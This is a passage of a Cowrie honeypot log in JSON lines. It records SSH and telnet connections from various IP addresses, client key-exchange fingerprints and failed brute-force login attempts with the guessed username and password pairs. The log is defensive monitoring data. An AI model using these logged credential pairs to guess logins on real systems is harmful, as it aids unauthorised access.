sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:35.899968Z","src_ip":"20.228.193.165","session":"352207ecda86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123321","message":"login attempt [erp/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:35.979678Z","src_ip":"20.228.193.165","session":"352207ecda86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56452,"dst_ip":"159.203.135.109","dst_port":23,"session":"115608f06735","protocol":"telnet","message":"New connection: 170.64.224.25:56452 (159.203.135.109:23) [session: 115608f06735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:36.231375Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:36.994840Z","src_ip":"20.228.193.165","session":"352207ecda86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56458,"dst_ip":"159.203.135.109","dst_port":23,"session":"85c8cd3f1d88","protocol":"telnet","message":"New connection: 170.64.224.25:56458 (159.203.135.109:23) [session: 85c8cd3f1d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:37.817384Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55442,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac1ba961978c","protocol":"telnet","message":"New connection: 170.64.224.25:55442 (159.203.135.109:23) [session: ac1ba961978c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:50.896787Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":36138,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf13b62b284","protocol":"ssh","message":"New connection: 138.197.164.175:36138 (10.17.0.5:22) [session: bbf13b62b284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:54.010105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:54.013985Z","src_ip":"138.197.164.175","session":"bbf13b62b284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:54.034450Z","src_ip":"138.197.164.175","session":"bbf13b62b284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xw123456!","message":"login attempt [root/Xw123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:54.142027Z","src_ip":"138.197.164.175","session":"bbf13b62b284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:26:55.163883Z","src_ip":"138.197.164.175","session":"bbf13b62b284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43554,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8f79038a1d9","protocol":"ssh","message":"New connection: 160.187.174.22:43554 (159.203.135.109:22) [session: d8f79038a1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:02.629490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:02.633713Z","src_ip":"160.187.174.22","session":"d8f79038a1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:02.870433Z","src_ip":"160.187.174.22","session":"d8f79038a1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:03.653207Z","src_ip":"160.187.174.22","session":"d8f79038a1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:04.893016Z","src_ip":"160.187.174.22","session":"d8f79038a1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.069286823272705,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:06.886542Z","src_ip":"170.64.224.25","session":"85c8cd3f1d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34180,"dst_ip":"159.203.135.109","dst_port":23,"session":"d997b92b7d61","protocol":"telnet","message":"New connection: 170.64.224.25:34180 (159.203.135.109:23) [session: d997b92b7d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:07.430943Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":59458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0e9ec7bb455","protocol":"ssh","message":"New connection: 109.237.96.109:59458 (159.203.135.109:22) [session: d0e9ec7bb455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:07.867946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:07.872211Z","src_ip":"109.237.96.109","session":"d0e9ec7bb455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:07.960624Z","src_ip":"109.237.96.109","session":"d0e9ec7bb455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11021980","message":"login attempt [root/11021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:08.230600Z","src_ip":"109.237.96.109","session":"d0e9ec7bb455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:09.324631Z","src_ip":"109.237.96.109","session":"d0e9ec7bb455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.43133735656738,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:09.538884Z","src_ip":"170.64.224.25","session":"97c121c36046","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50414,"dst_ip":"159.203.135.109","dst_port":23,"session":"129c49c56bac","protocol":"telnet","message":"New connection: 107.6.151.170:50414 (159.203.135.109:23) [session: 129c49c56bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:19.895816Z"}
{"eventid":"cowrie.session.closed","duration":38.545414686203,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:29.442096Z","src_ip":"170.64.224.25","session":"ac1ba961978c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55274,"dst_ip":"159.203.135.109","dst_port":23,"session":"867253a261ec","protocol":"telnet","message":"New connection: 107.6.151.170:55274 (159.203.135.109:23) [session: 867253a261ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:30.095316Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43334,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2cdac9a4437","protocol":"ssh","message":"New connection: 160.187.174.22:43334 (159.203.135.109:22) [session: b2cdac9a4437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:31.443070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:31.483389Z","src_ip":"160.187.174.22","session":"b2cdac9a4437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:31.683677Z","src_ip":"160.187.174.22","session":"b2cdac9a4437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:32.639152Z","src_ip":"160.187.174.22","session":"b2cdac9a4437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:33.883204Z","src_ip":"160.187.174.22","session":"b2cdac9a4437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.55682039260864,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:34.788099Z","src_ip":"170.64.224.25","session":"115608f06735","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.142.226","src_port":52722,"dst_ip":"10.17.0.5","dst_port":22,"session":"2556d2af5520","protocol":"ssh","message":"New connection: 132.148.142.226:52722 (10.17.0.5:22) [session: 2556d2af5520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:35.184715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:35.188456Z","src_ip":"132.148.142.226","session":"2556d2af5520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:35.252950Z","src_ip":"132.148.142.226","session":"2556d2af5520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"atom","password":"atom456","message":"login attempt [atom/atom456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:35.449119Z","src_ip":"132.148.142.226","session":"2556d2af5520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:36.516440Z","src_ip":"132.148.142.226","session":"2556d2af5520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":39426,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f92c148c18","protocol":"ssh","message":"New connection: 189.203.163.10:39426 (10.17.0.5:22) [session: 41f92c148c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:47.208797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:47.212523Z","src_ip":"189.203.163.10","session":"41f92c148c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:47.271894Z","src_ip":"189.203.163.10","session":"41f92c148c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sh@123456789","message":"login attempt [root/Sh@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:47.543143Z","src_ip":"189.203.163.10","session":"41f92c148c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:48.605923Z","src_ip":"189.203.163.10","session":"41f92c148c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.673428773880005,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:54.569115Z","src_ip":"107.6.151.170","session":"129c49c56bac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.35616135597229,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:54.786988Z","src_ip":"170.64.224.25","session":"d997b92b7d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44734,"dst_ip":"159.203.135.109","dst_port":23,"session":"5757bf18e934","protocol":"telnet","message":"New connection: 170.64.224.25:44734 (159.203.135.109:23) [session: 5757bf18e934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:27:56.334648Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33790,"dst_ip":"159.203.135.109","dst_port":22,"session":"37a8c860df8b","protocol":"ssh","message":"New connection: 160.187.174.22:33790 (159.203.135.109:22) [session: 37a8c860df8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:01.012584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:28:01.016726Z","src_ip":"160.187.174.22","session":"37a8c860df8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 